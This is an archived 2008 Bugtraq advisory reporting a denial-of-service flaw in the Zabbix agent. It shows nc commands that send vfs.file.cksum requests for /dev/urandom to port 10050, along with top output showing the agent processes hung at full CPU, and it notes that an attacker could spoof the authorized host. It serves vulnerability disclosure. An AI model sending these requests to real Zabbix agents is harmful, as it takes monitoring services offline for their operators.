bugtraq - Zabbix (zabbix_agentd) denial of service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 13 Mar 2008 12:39:11 +0200
From: Milen Rangelov <mrangelov@...bul.bg>
To: bugtraq@...urityfocus.com
Subject: Zabbix (zabbix_agentd) denial of service

Hello,

There is some DoS issue with zabbix which can be exploited by a
malicious user from an authorized host.

------------------------
An attacker on the authorized host can cause the zabbix_agentd to hang,
overconsuming CPU resources. 

This can be triggered by sending the agent a file checksum request
(vfs.file.cksum[file]) with file argument being some "special" device
node like /dev/zero or /dev/urandom (the latter rises kernel CPU usage
even more). 

If the malicious user sends <number_of_zabbix_agentd_children> requests,
then the zabbix_agentd service will not be able to serve any requests
until it's restarted. 

Here's some example session : 

------------ 
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 & 
[1] 24429 
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 & 
[2] 24431 
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 & 
[3] 24433 
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 & 
[4] 24435 

...and some output from top: 
<snip> 
Tasks: 183 total, 5 running, 178 sleeping, 0 stopped, 0 zombie 
Cpu(s): 2.0%us, 97.0%sy, 1.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st 
<snip> 

    PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 

24381 zabbix 30 5 5056 1032 768 R 65 0.1 4:16.01 zabbix_agentd 
24382 zabbix 30 5 5068 1044 776 R 50 0.1 4:12.18 zabbix_agentd 
24380 zabbix 30 5 5068 1044 776 R 50 0.1 4:01.24 zabbix_agentd 
24379 zabbix 30 5 5056 1036 772 R 31 0.1 4:08.24 zabbix_agentd 

------------------------ 

zabbix_agentd accepts new connections, but does not serve them. 

The malicious user needs to connect from an authorized host, but it's
not so hard to spoof it if he's on the same ethernet segment as the host
running the zabbix_agent.